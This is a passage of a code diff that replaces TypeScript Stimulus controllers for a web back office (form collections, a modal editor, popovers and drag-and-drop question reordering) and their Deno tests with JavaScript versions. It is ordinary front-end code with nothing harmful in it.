this._notifyChange();
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
_syncOrdering() {
|
||||||
|
[...this.collectionTarget.children].forEach((el, i) => {
|
||||||
|
const input = el.querySelector('input[name*="[ordering]"]');
|
||||||
|
if (input) input.value = i;
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,172 +0,0 @@
|
|||||||
import { Controller } from '@hotwired/stimulus';
|
|
||||||
|
|
||||||
export default class extends Controller {
|
|
||||||
static targets = ['collection'];
|
|
||||||
static values = { prototype: String };
|
|
||||||
|
|
||||||
declare readonly collectionTarget: HTMLElement;
|
|
||||||
declare readonly prototypeValue: string;
|
|
||||||
|
|
||||||
index = 0;
|
|
||||||
_dragging: Element | null = null;
|
|
||||||
_form: HTMLFormElement | null = null;
|
|
||||||
_submitHandler: (() => void) | null = null;
|
|
||||||
|
|
||||||
connect(): void {
|
|
||||||
this.index = this.collectionTarget.children.length;
|
|
||||||
this._syncOrdering();
|
|
||||||
|
|
||||||
if (this.index === 0) {
|
|
||||||
this.addItem();
|
|
||||||
}
|
|
||||||
|
|
||||||
// `submit` fires on the ancestor <form>, which is outside this controller's
|
|
||||||
// subtree. Stimulus data-action only works within the controller element, so
|
|
||||||
// addEventListener on the form is the only option here.
|
|
||||||
this._form = this.element.closest('form');
|
|
||||||
if (this._form) {
|
|
||||||
this._submitHandler = () => {
|
|
||||||
[...this.collectionTarget.children].forEach((item) => {
|
|
||||||
const input = item.querySelector<HTMLInputElement>(
|
|
||||||
'input[type="text"]',
|
|
||||||
);
|
|
||||||
if (input && input.value.trim() === '') item.remove();
|
|
||||||
});
|
|
||||||
};
|
|
||||||
this._form.addEventListener('submit', this._submitHandler);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
disconnect(): void {
|
|
||||||
if (this._form && this._submitHandler) {
|
|
||||||
this._form.removeEventListener('submit', this._submitHandler);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
addItem(): void {
|
|
||||||
const item = document.createElement('div');
|
|
||||||
item.innerHTML = this.prototypeValue.replace(
|
|
||||||
/__name__/g,
|
|
||||||
String(this.index),
|
|
||||||
);
|
|
||||||
const el = item.firstElementChild;
|
|
||||||
if (el) this.collectionTarget.appendChild(el);
|
|
||||||
this.index++;
|
|
||||||
this._syncOrdering();
|
|
||||||
}
|
|
||||||
|
|
||||||
removeItem(event: Event): void {
|
|
||||||
(event.target as HTMLElement).closest('[data-collection-item]')
|
|
||||||
?.remove();
|
|
||||||
this._notifyChange();
|
|
||||||
}
|
|
||||||
|
|
||||||
sortAlphabetically(): void {
|
|
||||||
const items = [...this.collectionTarget.children];
|
|
||||||
items.sort((a, b) => {
|
|
||||||
const textA =
|
|
||||||
(a.querySelector<HTMLInputElement>('input[type="text"]')
|
|
||||||
?.value ?? '').toLowerCase();
|
|
||||||
const textB =
|
|
||||||
(b.querySelector<HTMLInputElement>('input[type="text"]')
|
|
||||||
?.value ?? '').toLowerCase();
|
|
||||||
return textA.localeCompare(textB);
|
|
||||||
});
|
|
||||||
items.forEach((item) => this.collectionTarget.appendChild(item));
|
|
||||||
this._syncOrdering();
|
|
||||||
this._notifyChange();
|
|
||||||
}
|
|
||||||
|
|
||||||
randomize(): void {
|
|
||||||
const items = [...this.collectionTarget.children];
|
|
||||||
for (let i = items.length - 1; i > 0; i--) {
|
|
||||||
const j = Math.floor(Math.random() * (i + 1));
|
|
||||||
[items[i], items[j]] = [items[j], items[i]];
|
|
||||||
}
|
|
||||||
items.forEach((item) => this.collectionTarget.appendChild(item));
|
|
||||||
this._syncOrdering();
|
|
||||||
this._notifyChange();
|
|
||||||
}
|
|
||||||
|
|
||||||
autoExpand(event: Event): void {
|
|
||||||
const target = event.target as HTMLInputElement;
|
|
||||||
if (target.type !== 'text') return;
|
|
||||||
const item = target.closest('[data-collection-item]');
|
|
||||||
const last = [...this.collectionTarget.children].at(-1);
|
|
||||||
if (item && item === last && target.value.trim() !== '') {
|
|
||||||
this.addItem();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// — drag-and-drop —
|
|
||||||
|
|
||||||
dragStart(event: DragEvent): void {
|
|
||||||
this._dragging = (event.currentTarget as HTMLElement).closest(
|
|
||||||
'[data-collection-item]',
|
|
||||||
);
|
|
||||||
this._dragging?.classList.add('opacity-50');
|
|
||||||
event.dataTransfer!.effectAllowed = 'move';
|
|
||||||
}
|
|
||||||
|
|
||||||
dragEnd(event: DragEvent): void {
|
|
||||||
(event.currentTarget as HTMLElement).closest('[data-collection-item]')
|
|
||||||
?.classList.remove('opacity-50');
|
|
||||||
this._dragging = null;
|
|
||||||
this.collectionTarget.querySelectorAll('[data-collection-item]')
|
|
||||||
.forEach((i) =>
|
|
||||||
i.classList.remove(
|
|
||||||
'border-top',
|
|
||||||
'border-bottom',
|
|
||||||
'border-primary',
|
|
||||||
)
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
dragOver(event: DragEvent): void {
|
|
||||||
event.preventDefault();
|
|
||||||
const el = event.currentTarget as HTMLElement;
|
|
||||||
if (!this._dragging || this._dragging === el) return;
|
|
||||||
event.dataTransfer!.dropEffect = 'move';
|
|
||||||
const rect = el.getBoundingClientRect();
|
|
||||||
const isBottom = event.clientY > rect.top + rect.height / 2;
|
|
||||||
el.classList.toggle('border-top', !isBottom);
|
|
||||||
el.classList.toggle('border-bottom', isBottom);
|
|
||||||
el.classList.add('border-primary');
|
|
||||||
}
|
|
||||||
|
|
||||||
dragLeave(event: DragEvent): void {
|
|
||||||
(event.currentTarget as HTMLElement).classList.remove(
|
|
||||||
'border-top',
|
|
||||||
'border-bottom',
|
|
||||||
'border-primary',
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
drop(event: DragEvent): void {
|
|
||||||
event.preventDefault();
|
|
||||||
const el = event.currentTarget as HTMLElement;
|
|
||||||
el.classList.remove('border-top', 'border-bottom', 'border-primary');
|
|
||||||
if (!this._dragging || this._dragging === el) return;
|
|
||||||
const rect = el.getBoundingClientRect();
|
|
||||||
const isBottom = event.clientY > rect.top + rect.height / 2;
|
|
||||||
this.collectionTarget.insertBefore(
|
|
||||||
this._dragging,
|
|
||||||
isBottom ? el.nextSibling : el,
|
|
||||||
);
|
|
||||||
this._syncOrdering();
|
|
||||||
this._notifyChange();
|
|
||||||
}
|
|
||||||
|
|
||||||
_notifyChange(): void {
|
|
||||||
this.element.dispatchEvent(new Event('change', { bubbles: true }));
|
|
||||||
}
|
|
||||||
|
|
||||||
_syncOrdering(): void {
|
|
||||||
[...this.collectionTarget.children].forEach((el, i) => {
|
|
||||||
const input = el.querySelector<HTMLInputElement>(
|
|
||||||
'input[name*="[ordering]"]',
|
|
||||||
);
|
|
||||||
if (input) input.value = String(i);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,114 +0,0 @@
|
|||||||
import { assertEquals } from '@std/assert';
|
|
||||||
|
|
||||||
// Stimulus's Controller base class constructor only does `this.context = context`,
|
|
||||||
// and target getters are normally installed by Application.register — since we
|
|
||||||
// construct the controller directly (no real Stimulus app), collectionTarget/element
|
|
||||||
// are assigned here as plain writable properties, backed by a minimal fake DOM
|
|
||||||
// container that supports the one operation these methods actually rely on:
|
|
||||||
// appendChild() moving an existing child to the end (real DOM semantics).
|
|
||||||
class FakeInput {
|
|
||||||
value: string;
|
|
||||||
constructor(value = '') {
|
|
||||||
this.value = value;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
class FakeItem {
|
|
||||||
textInput: FakeInput;
|
|
||||||
orderingInput = new FakeInput();
|
|
||||||
|
|
||||||
constructor(text: string) {
|
|
||||||
this.textInput = new FakeInput(text);
|
|
||||||
}
|
|
||||||
|
|
||||||
querySelector<T>(selector: string): T | null {
|
|
||||||
if (selector.includes('type="text"')) {
|
|
||||||
return this.textInput as unknown as T;
|
|
||||||
}
|
|
||||||
if (selector.includes('ordering')) {
|
|
||||||
return this.orderingInput as unknown as T;
|
|
||||||
}
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
class FakeCollection {
|
|
||||||
children: FakeItem[] = [];
|
|
||||||
|
|
||||||
appendChild(item: FakeItem) {
|
|
||||||
const idx = this.children.indexOf(item);
|
|
||||||
if (idx !== -1) this.children.splice(idx, 1);
|
|
||||||
this.children.push(item);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
const { default: FormCollectionController } = await import(
|
|
||||||
'./form_collection_controller.ts'
|
|
||||||
);
|
|
||||||
|
|
||||||
// deno-lint-ignore no-explicit-any
|
|
||||||
function makeController(items: FakeItem[]): any {
|
|
||||||
const collectionTarget = new FakeCollection();
|
|
||||||
collectionTarget.children = items;
|
|
||||||
// `element` is a read-only getter on Controller (delegates to `this.scope.element`),
|
|
||||||
// so the fake element is supplied via the constructor context rather than assigned.
|
|
||||||
const controller = new FormCollectionController({
|
|
||||||
scope: { element: { dispatchEvent: () => true } },
|
|
||||||
} as never);
|
|
||||||
return Object.assign(controller, { collectionTarget });
|
|
||||||
}
|
|
||||||
|
|
||||||
Deno.test("_syncOrdering writes the current index into each item's ordering input", () => {
|
|
||||||
const items = [new FakeItem('c'), new FakeItem('a'), new FakeItem('b')];
|
|
||||||
const controller = makeController(items);
|
|
||||||
|
|
||||||
controller._syncOrdering();
|
|
||||||
|
|
||||||
assertEquals(items.map((i) => i.orderingInput.value), ['0', '1', '2']);
|
|
||||||
});
|
|
||||||
|
|
||||||
Deno.test('sortAlphabetically reorders items by their text input value, case-insensitively', () => {
|
|
||||||
const c = new FakeItem('Charlie');
|
|
||||||
const a = new FakeItem('alice');
|
|
||||||
const b = new FakeItem('Bob');
|
|
||||||
const controller = makeController([c, a, b]);
|
|
||||||
|
|
||||||
controller.sortAlphabetically();
|
|
||||||
|
|
||||||
assertEquals(
|
|
||||||
controller.collectionTarget.children.map((i: FakeItem) =>
|
|
||||||
i.textInput.value
|
|
||||||
),
|
|
||||||
['alice', 'Bob', 'Charlie'],
|
|
||||||
);
|
|
||||||
// _syncOrdering must run after the reorder, against the new order
|
|
||||||
assertEquals(
|
|
||||||
controller.collectionTarget.children.map((i: FakeItem) =>
|
|
||||||
i.orderingInput.value
|
|
||||||
),
|
|
||||||
['0', '1', '2'],
|
|
||||||
);
|
|
||||||
});
|
|
||||||
|
|
||||||
Deno.test('randomize keeps the same set of items and resyncs ordering', () => {
|
|
||||||
const items = [
|
|
||||||
new FakeItem('1'),
|
|
||||||
new FakeItem('2'),
|
|
||||||
new FakeItem('3'),
|
|
||||||
new FakeItem('4'),
|
|
||||||
];
|
|
||||||
const controller = makeController([...items]);
|
|
||||||
|
|
||||||
controller.randomize();
|
|
||||||
|
|
||||||
const resultValues = controller.collectionTarget.children.map((
|
|
||||||
i: FakeItem,
|
|
||||||
) => i.textInput.value);
|
|
||||||
assertEquals(resultValues.slice().sort(), ['1', '2', '3', '4']);
|
|
||||||
assertEquals(
|
|
||||||
controller.collectionTarget.children.map((i: FakeItem) =>
|
|
||||||
i.orderingInput.value
|
|
||||||
),
|
|
||||||
['0', '1', '2', '3'],
|
|
||||||
);
|
|
||||||
});
|
|
||||||
@@ -0,0 +1,48 @@
|
|||||||
|
import {Controller} from '@hotwired/stimulus';
|
||||||
|
import {Modal} from 'bootstrap';
|
||||||
|
|
||||||
|
export default class extends Controller {
|
||||||
|
static targets = ['modal', 'frame'];
|
||||||
|
|
||||||
|
open(event) {
|
||||||
|
event.preventDefault();
|
||||||
|
const {src, modalTitle} = event.currentTarget.dataset;
|
||||||
|
if (modalTitle) {
|
||||||
|
const titleEl = this.modalTarget.querySelector('.modal-title');
|
||||||
|
if (titleEl) titleEl.textContent = modalTitle;
|
||||||
|
}
|
||||||
|
this._resetDirty();
|
||||||
|
this.frameTarget.innerHTML = '<div class="modal-body text-center py-4"><div class="spinner-border" role="status"></div></div>';
|
||||||
|
this.frameTarget.removeAttribute('src');
|
||||||
|
this.frameTarget.setAttribute('src', src);
|
||||||
|
Modal.getOrCreateInstance(this.modalTarget).show();
|
||||||
|
}
|
||||||
|
|
||||||
|
frameLoad() {
|
||||||
|
this._bindDirty();
|
||||||
|
}
|
||||||
|
|
||||||
|
frameSubmitEnd(event) {
|
||||||
|
if (event.detail.success) {
|
||||||
|
Modal.getOrCreateInstance(this.modalTarget).hide();
|
||||||
|
window.location.reload();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
_bindDirty() {
|
||||||
|
const modal = Modal.getOrCreateInstance(this.modalTarget);
|
||||||
|
const markDirty = () => {
|
||||||
|
modal._config.backdrop = 'static';
|
||||||
|
modal._config.keyboard = false;
|
||||||
|
};
|
||||||
|
this.frameTarget.addEventListener('input', markDirty, {once: true});
|
||||||
|
this.frameTarget.addEventListener('change', markDirty, {once: true});
|
||||||
|
this.modalTarget.addEventListener('hidden.bs.modal', () => this._resetDirty(), {once: true});
|
||||||
|
}
|
||||||
|
|
||||||
|
_resetDirty() {
|
||||||
|
const modal = Modal.getOrCreateInstance(this.modalTarget);
|
||||||
|
modal._config.backdrop = true;
|
||||||
|
modal._config.keyboard = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,66 +0,0 @@
|
|||||||
import { Controller } from '@hotwired/stimulus';
|
|
||||||
import { Modal } from 'bootstrap';
|
|
||||||
import { visit } from '@hotwired/turbo';
|
|
||||||
|
|
||||||
// Bootstrap's public Modal type doesn't expose `_config` (an internal, but stable, field
|
|
||||||
// across all 5.x releases) — extend it locally rather than casting to `any` everywhere.
|
|
||||||
interface ModalWithConfig extends Modal {
|
|
||||||
_config: { backdrop: boolean | 'static'; keyboard: boolean };
|
|
||||||
}
|
|
||||||
|
|
||||||
export default class extends Controller {
|
|
||||||
static targets = ['modal', 'frame'];
|
|
||||||
|
|
||||||
declare readonly modalTarget: HTMLElement;
|
|
||||||
declare readonly frameTarget: HTMLElement;
|
|
||||||
|
|
||||||
_dirty = false;
|
|
||||||
|
|
||||||
open(event: MouseEvent): void {
|
|
||||||
event.preventDefault();
|
|
||||||
const { src, modalTitle } =
|
|
||||||
(event.currentTarget as HTMLElement).dataset;
|
|
||||||
if (modalTitle) {
|
|
||||||
const titleEl = this.modalTarget.querySelector('.modal-title');
|
|
||||||
if (titleEl) titleEl.textContent = modalTitle;
|
|
||||||
}
|
|
||||||
this.resetDirty();
|
|
||||||
this.frameTarget.innerHTML =
|
|
||||||
'<div class="modal-body text-center py-4"><div class="spinner-border" role="status"></div></div>';
|
|
||||||
this.frameTarget.removeAttribute('src');
|
|
||||||
if (src) this.frameTarget.setAttribute('src', src);
|
|
||||||
Modal.getOrCreateInstance(this.modalTarget).show();
|
|
||||||
}
|
|
||||||
|
|
||||||
frameSubmitEnd(event: CustomEvent<{ success: boolean }>): void {
|
|
||||||
if (event.detail.success) {
|
|
||||||
Modal.getOrCreateInstance(this.modalTarget).hide();
|
|
||||||
visit(window.location.href);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
markDirty(): void {
|
|
||||||
if (this._dirty) return;
|
|
||||||
this._dirty = true;
|
|
||||||
// Using _config instead of preventDefault on hide.bs.modal because we need
|
|
||||||
// to block only user-triggered dismissal (backdrop click, Escape key) while
|
|
||||||
// keeping programmatic hide() working — frameSubmitEnd() calls hide() after
|
|
||||||
// a successful save and must not be blocked. _config.backdrop/keyboard is
|
|
||||||
// the correct primitive for that distinction and has been stable across all
|
|
||||||
// Bootstrap 5.x releases.
|
|
||||||
const modal = Modal.getOrCreateInstance(
|
|
||||||
this.modalTarget,
|
|
||||||
) as ModalWithConfig;
|
|
||||||
modal._config.backdrop = 'static';
|
|
||||||
modal._config.keyboard = false;
|
|
||||||
}
|
|
||||||
|
|
||||||
resetDirty(): void {
|
|
||||||
this._dirty = false;
|
|
||||||
const modal = Modal.getOrCreateInstance(
|
|
||||||
this.modalTarget,
|
|
||||||
) as ModalWithConfig;
|
|
||||||
modal._config.backdrop = true;
|
|
||||||
modal._config.keyboard = true;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,19 +0,0 @@
|
|||||||
import { Controller } from '@hotwired/stimulus';
|
|
||||||
import { Popover } from 'bootstrap';
|
|
||||||
|
|
||||||
export default class extends Controller {
|
|
||||||
popovers: Popover[] = [];
|
|
||||||
|
|
||||||
connect(): void {
|
|
||||||
this.popovers = [
|
|
||||||
...this.element.querySelectorAll('[data-bs-toggle="popover"]'),
|
|
||||||
]
|
|
||||||
.map((popoverTriggerEl) =>
|
|
||||||
Popover.getOrCreateInstance(popoverTriggerEl)
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
disconnect(): void {
|
|
||||||
this.popovers.forEach((popover) => popover.dispose());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,153 @@
|
|||||||
|
import {Controller} from '@hotwired/stimulus';
|
||||||
|
import {Modal} from 'bootstrap';
|
||||||
|
|
||||||
|
const RETRY_DELAY_MS = 1000;
|
||||||
|
|
||||||
|
export default class extends Controller {
|
||||||
|
static targets = ['list', 'item', 'status', 'noticeModal'];
|
||||||
|
static values = {
|
||||||
|
reorderUrl: String,
|
||||||
|
csrf: String,
|
||||||
|
canModify: Boolean,
|
||||||
|
savedLabel: String,
|
||||||
|
errorLabel: String,
|
||||||
|
};
|
||||||
|
|
||||||
|
connect() {
|
||||||
|
if (this.canModifyValue) {
|
||||||
|
this._setupDrag();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
_setupDrag() {
|
||||||
|
this.itemTargets.forEach(el => {
|
||||||
|
const handle = el.querySelector('[data-drag-handle]');
|
||||||
|
if (!handle) return;
|
||||||
|
|
||||||
|
handle.setAttribute('draggable', 'true');
|
||||||
|
|
||||||
|
handle.addEventListener('dragstart', (e) => {
|
||||||
|
if (this._locked) {
|
||||||
|
e.preventDefault();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
this._dragging = el;
|
||||||
|
e.dataTransfer.effectAllowed = 'move';
|
||||||
|
setTimeout(() => el.classList.add('opacity-50'), 0);
|
||||||
|
});
|
||||||
|
|
||||||
|
handle.addEventListener('dragend', () => {
|
||||||
|
el.classList.remove('opacity-50');
|
||||||
|
this._dragging = null;
|
||||||
|
this._removePlaceholder();
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
this.listTarget.addEventListener('dragover', (e) => {
|
||||||
|
e.preventDefault();
|
||||||
|
if (!this._dragging) return;
|
||||||
|
e.dataTransfer.dropEffect = 'move';
|
||||||
|
|
||||||
|
const target = e.target.closest('[data-bo--question-list-target="item"]');
|
||||||
|
if (!target || target === this._dragging) return;
|
||||||
|
|
||||||
|
const rect = target.getBoundingClientRect();
|
||||||
|
const insertBefore = e.clientY > rect.top + rect.height / 2 ? target.nextSibling : target;
|
||||||
|
|
||||||
|
if (!this._placeholder) {
|
||||||
|
this._placeholder = document.createElement('div');
|
||||||
|
this._placeholder.className = 'bg-primary rounded mb-2';
|
||||||
|
this._placeholder.style.height = '3px';
|
||||||
|
}
|
||||||
|
|
||||||
|
if (this._placeholder.nextSibling !== insertBefore) {
|
||||||
|
this.listTarget.insertBefore(this._placeholder, insertBefore);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
this.listTarget.addEventListener('dragleave', (e) => {
|
||||||
|
if (!e.relatedTarget || !this.listTarget.contains(e.relatedTarget)) {
|
||||||
|
this._removePlaceholder();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
this.listTarget.addEventListener('drop', async (e) => {
|
||||||
|
e.preventDefault();
|
||||||
|
if (!this._dragging || !this._placeholder) return;
|
||||||
|
this.listTarget.insertBefore(this._dragging, this._placeholder);
|
||||||
|
this._removePlaceholder();
|
||||||
|
await this._persistOrder();
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
_removePlaceholder() {
|
||||||
|
if (this._placeholder) {
|
||||||
|
this._placeholder.remove();
|
||||||
|
this._placeholder = null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
_setStatus(state) {
|
||||||
|
if (!this.hasStatusTarget) return;
|
||||||
|
const el = this.statusTarget;
|
||||||
|
el.classList.remove('d-none', 'text-bg-success', 'text-bg-danger', 'text-bg-warning');
|
||||||
|
if (state === 'saving') {
|
||||||
|
el.classList.add('text-bg-warning');
|
||||||
|
el.textContent = '…';
|
||||||
|
} else if (state === 'saved') {
|
||||||
|
el.classList.add('text-bg-success');
|
||||||
|
el.textContent = this.savedLabelValue || 'Saved';
|
||||||
|
} else if (state === 'error') {
|
||||||
|
el.classList.add('text-bg-danger');
|
||||||
|
el.textContent = this.errorLabelValue || 'Error';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async _persistOrder() {
|
||||||
|
this._setStatus('saving');
|
||||||
|
|
||||||
|
const params = new URLSearchParams();
|
||||||
|
params.append('_token', this.csrfValue);
|
||||||
|
this.itemTargets.forEach((el, i) => {
|
||||||
|
params.append('ordering[]', el.dataset.questionId);
|
||||||
|
const numberEl = el.querySelector('[data-question-number]');
|
||||||
|
if (numberEl) numberEl.textContent = String(i + 1);
|
||||||
|
});
|
||||||
|
|
||||||
|
const attempt = async () => {
|
||||||
|
const res = await fetch(this.reorderUrlValue, {method: 'POST', body: params});
|
||||||
|
if (!res.ok) {
|
||||||
|
throw new Error(`Unexpected response status: ${res.status}`);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
try {
|
||||||
|
await attempt();
|
||||||
|
} catch {
|
||||||
|
await new Promise(resolve => setTimeout(resolve, RETRY_DELAY_MS));
|
||||||
|
try {
|
||||||
|
await attempt();
|
||||||
|
} catch {
|
||||||
|
this._setStatus('error');
|
||||||
|
this._lockReordering();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
this._setStatus('saved');
|
||||||
|
}
|
||||||
|
|
||||||
|
_lockReordering() {
|
||||||
|
this._locked = true;
|
||||||
|
this.itemTargets.forEach(el => {
|
||||||
|
const handle = el.querySelector('[data-drag-handle]');
|
||||||
|
if (handle) {
|
||||||
|
handle.removeAttribute('draggable');
|
||||||
|
handle.classList.add('opacity-25', 'pe-none');
|
||||||
|
}
|
||||||
|
});
|
||||||
|
if (this.hasNoticeModalTarget) {
|
||||||
|
Modal.getOrCreateInstance(this.noticeModalTarget).show();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,161 +0,0 @@
|
|||||||
import { Controller } from '@hotwired/stimulus';
|
|
||||||
|
|
||||||
type Status = 'saving' | 'saved' | 'error';
|
|
||||||
|
|
||||||
export default class extends Controller {
|
|
||||||
static targets = ['list', 'item', 'status'];
|
|
||||||
static values = {
|
|
||||||
reorderUrl: String,
|
|
||||||
csrf: String,
|
|
||||||
savedLabel: String,
|
|
||||||
errorLabel: String,
|
|
||||||
errorHint: String,
|
|
||||||
};
|
|
||||||
|
|
||||||
declare readonly listTarget: HTMLElement;
|
|
||||||
declare readonly itemTargets: HTMLElement[];
|
|
||||||
declare readonly statusTarget: HTMLElement;
|
|
||||||
declare readonly hasStatusTarget: boolean;
|
|
||||||
|
|
||||||
declare readonly reorderUrlValue: string;
|
|
||||||
declare readonly csrfValue: string;
|
|
||||||
declare readonly savedLabelValue: string;
|
|
||||||
declare readonly errorLabelValue: string;
|
|
||||||
declare readonly errorHintValue: string;
|
|
||||||
|
|
||||||
_locked = false;
|
|
||||||
_dragging: HTMLElement | null = null;
|
|
||||||
_placeholder: HTMLDivElement | null = null;
|
|
||||||
|
|
||||||
connect(): void {
|
|
||||||
this._locked = false;
|
|
||||||
}
|
|
||||||
|
|
||||||
dragStart(event: DragEvent): void {
|
|
||||||
const item = (event.currentTarget as HTMLElement).closest<HTMLElement>(
|
|
||||||
'[data-bo--question-list-target="item"]',
|
|
||||||
);
|
|
||||||
this._dragging = item;
|
|
||||||
event.dataTransfer!.effectAllowed = 'move';
|
|
||||||
setTimeout(() => item?.classList.add('opacity-50'), 0);
|
|
||||||
}
|
|
||||||
|
|
||||||
dragEnd(event: DragEvent): void {
|
|
||||||
const item = (event.currentTarget as HTMLElement).closest<HTMLElement>(
|
|
||||||
'[data-bo--question-list-target="item"]',
|
|
||||||
);
|
|
||||||
item?.classList.remove('opacity-50');
|
|
||||||
this._dragging = null;
|
|
||||||
this._removePlaceholder();
|
|
||||||
}
|
|
||||||
|
|
||||||
dragOver(event: DragEvent): void {
|
|
||||||
event.preventDefault();
|
|
||||||
if (!this._dragging) return;
|
|
||||||
event.dataTransfer!.dropEffect = 'move';
|
|
||||||
|
|
||||||
const target = (event.target as HTMLElement).closest<HTMLElement>(
|
|
||||||
'[data-bo--question-list-target="item"]',
|
|
||||||
);
|
|
||||||
if (!target || target === this._dragging) return;
|
|
||||||
|
|
||||||
const rect = target.getBoundingClientRect();
|
|
||||||
const insertBefore = event.clientY > rect.top + rect.height / 2
|
|
||||||
? target.nextSibling
|
|
||||||
: target;
|
|
||||||
|
|
||||||
if (!this._placeholder) {
|
|
||||||
this._placeholder = document.createElement('div');
|
|
||||||
this._placeholder.className = 'bg-primary rounded mb-2';
|
|
||||||
this._placeholder.style.height = '3px';
|
|
||||||
}
|
|
||||||
|
|
||||||
if (this._placeholder.nextSibling !== insertBefore) {
|
|
||||||
this.listTarget.insertBefore(this._placeholder, insertBefore);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
dragLeave(event: DragEvent): void {
|
|
||||||
if (
|
|
||||||
!event.relatedTarget ||
|
|
||||||
!this.listTarget.contains(event.relatedTarget as Node)
|
|
||||||
) {
|
|
||||||
this._removePlaceholder();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
async drop(event: DragEvent): Promise<void> {
|
|
||||||
event.preventDefault();
|
|
||||||
if (!this._dragging || !this._placeholder || this._locked) return;
|
|
||||||
this.listTarget.insertBefore(this._dragging, this._placeholder);
|
|
||||||
this._removePlaceholder();
|
|
||||||
await this._persistOrder();
|
|
||||||
}
|
|
||||||
|
|
||||||
_removePlaceholder(): void {
|
|
||||||
if (this._placeholder) {
|
|
||||||
this._placeholder.remove();
|
|
||||||
this._placeholder = null;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
_setStatus(state: Status): void {
|
|
||||||
if (!this.hasStatusTarget) return;
|
|
||||||
const el = this.statusTarget;
|
|
||||||
el.classList.remove(
|
|
||||||
'd-none',
|
|
||||||
'text-bg-success',
|
|
||||||
'text-bg-danger',
|
|
||||||
'text-bg-warning',
|
|
||||||
);
|
|
||||||
if (state === 'saving') {
|
|
||||||
el.classList.add('text-bg-warning');
|
|
||||||
el.textContent = '…';
|
|
||||||
} else if (state === 'saved') {
|
|
||||||
el.classList.add('text-bg-success');
|
|
||||||
el.textContent = this.savedLabelValue || 'Saved';
|
|
||||||
} else if (state === 'error') {
|
|
||||||
el.classList.add('text-bg-danger');
|
|
||||||
el.textContent = this.errorLabelValue || 'Error';
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
async _persistOrder(): Promise<void> {
|
|
||||||
this._setStatus('saving');
|
|
||||||
|
|
||||||
const params = new URLSearchParams();
|
|
||||||
params.append('_token', this.csrfValue);
|
|
||||||
this.itemTargets.forEach((el, i) => {
|
|
||||||
params.append('ordering[]', el.dataset.questionId ?? '');
|
|
||||||
const numberEl = el.querySelector('[data-question-number]');
|
|
||||||
if (numberEl) numberEl.textContent = String(i + 1);
|
|
||||||
});
|
|
||||||
|
|
||||||
for (let attempt = 0; attempt < 2; attempt++) {
|
|
||||||
try {
|
|
||||||
const res = await fetch(this.reorderUrlValue, {
|
|
||||||
method: 'POST',
|
|
||||||
body: params,
|
|
||||||
});
|
|
||||||
if (res.ok) {
|
|
||||||
this._setStatus('saved');
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
} catch {
|
|
||||||
// network error — retry on first attempt
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
this._locked = true;
|
|
||||||
this._setStatus('error');
|
|
||||||
|
|
||||||
const alert = document.createElement('div');
|
|
||||||
alert.className = 'alert alert-danger alert-dismissible mt-3';
|
|
||||||
alert.setAttribute('role', 'alert');
|
|
||||||
const hint = this.errorHintValue || 'Refresh the page to try again.';
|
|
||||||
alert.innerHTML = `${
|
|
||||||
this.errorLabelValue || 'Error saving order'
|
|
||||||
} — ${hint} <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>`;
|
|
||||||
this.listTarget.after(alert);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,140 +0,0 @@
|
|||||||
import { assertEquals } from '@std/assert';
|
|
||||||
|
|
||||||
// Stimulus's Controller base class constructor only does `this.context = context`,
|
|
||||||
// and target/value getters (listTarget, csrfValue, ...) are normally installed by
|
|
||||||
// Application.register — since we construct the controller directly (no real
|
|
||||||
// Stimulus app), they're assigned here as plain writable properties instead.
|
|
||||||
class FakeClassList {
|
|
||||||
classes = new Set<string>();
|
|
||||||
add(...names: string[]) {
|
|
||||||
names.forEach((n) => this.classes.add(n));
|
|
||||||
}
|
|
||||||
remove(...names: string[]) {
|
|
||||||
names.forEach((n) => this.classes.delete(n));
|
|
||||||
}
|
|
||||||
contains(name: string) {
|
|
||||||
return this.classes.has(name);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
function fakeElement() {
|
|
||||||
return {
|
|
||||||
classList: new FakeClassList(),
|
|
||||||
textContent: '',
|
|
||||||
after: () => {},
|
|
||||||
setAttribute: () => {},
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
